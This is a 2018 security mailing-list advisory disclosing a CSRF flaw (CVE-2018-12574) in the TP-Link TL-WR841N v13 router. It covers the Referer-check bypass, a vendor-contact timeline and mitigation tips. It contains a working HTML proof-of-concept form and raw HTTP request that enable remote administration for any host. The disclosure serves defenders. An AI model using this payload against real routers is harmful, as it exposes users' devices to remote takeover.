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TP-Link TL-WR841N v13: CSRF (CVE-2018-12574)

From: Tim Coen <tc.coen () gmail com>
Date: Wed, 27 Jun 2018 16:00:43 +0200
  * Vulnerability: Cross-Site Request Forgery
  * Affected Software: TP-Link TL-WR841N v13
  * Affected Version: 0.9.1 4.16 v0001.0 Build 180119 Rel.65243n
  * Patched Version: None
  * Risk: High
  * Vendor Contacted: 05/20/2018
  * Vendor Fix: None
  * Public Disclosure: 06/27/2018

##### Overview

The web interface of the router is vulnerable to CSRF. An attacker can
perform arbitrary actions in the name of an authenticated user if that
user visits an attacker-controlled website.

##### CVSS

High 8.8 CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

##### Details

The protection mechanism that is in place against CSRF checks if the
given "referer" header starts with "192.168.0.1". If it does, the
request is accepted.

An attacker can bypass this mechanism by prepending their domain with
this string. For example, the malicious HTML and JavaScript code could
be hosted at "192.168.0.1.example.com". Alternatively, an attack could
originate from a different IP in the internal network, eg "192.168.0.11".

##### Proof of Concept

Enable remote access:

        <html>
          <body>
                <form action="http://192.168.0.1/cgi?2&2"; method="POST"
enctype="text/plain">
                  <input type="hidden"
name="&#91;HTTP&#95;CFG&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#93;0&#44;2&#13;&#10;httpRemoteEnabled"
value="1&#13;&#10;httpRemotePort&#61;7777&#13;&#10;&#91;APP&#95;CFG&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#35;0&#44;0&#44;0&#44;0&#44;0&#44;0&#93;1&#44;1&#13;&#10;remoteHost&#61;255&#46;255&#46;255&#46;255&#13;&#10;"
/>
                  <input type="submit" value="Submit request" />
                </form>
          </body>
        </html>

The code would be hosted at a subdomain which starts with "192.168.0.1",
eg "192.168.0.1.example.com".

##### Request

        POST /cgi?2&2 HTTP/1.1
        Host: 192.168.0.1
        User-Agent: [...]
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-GB,en;q=0.5
        Accept-Encoding: gzip, deflate
        Referer: http://192.168.0.1.example.com/csrf.html
        Content-Type: text/plain
        Content-Length: 147
        Cookie: Authorization=Basic [...]
        DNT: 1
        Connection: close
        Upgrade-Insecure-Requests: 1

        [HTTP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2
        httpRemoteEnabled=1
        httpRemotePort=7777
        [APP_CFG#0,0,0,0,0,0#0,0,0,0,0,0]1,1
        remoteHost=255.255.255.255

        HTTP/1.1 200 OK
        Content-Type: text/plain; charset=utf-8
        Connection: close
        Content-Length: 8

        [error]0

##### Solution

The vendor did not fix the issue.

Users of the product can try to mitigate the issue by not visiting other
websites while being signed into the web interface and signing out as
soon as possible. Additionally, various browser plugins can be used to
try to defend against attacks.

##### Timeline

- 05/20/2018 Requested email address via contact form (no response)
- 05/24/2018 Send advisory to security () tp-link com asking for
confirmation, set disclosure date (no response)
- 06/01/2018 Asked for confirmation at support.usa () tp-link com
- 06/04/2018 Vendor confirmed receipt of advisory
- 06/12/2018 Requested Status Update
- 06/14/2018 Vendor claims they never received advisory
- 06/14/2018 Resend advisory asking for confirmation (no response)
- 06/18/2018 Reminded vendor of disclosure date (no response)
- 06/18/2018 Requested CVE
- 06/19/2018 CVE assigned
- 06/27/2018 Disclosure

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Current thread:

TP-Link TL-WR841N v13: CSRF (CVE-2018-12574) Tim Coen (Jun 28)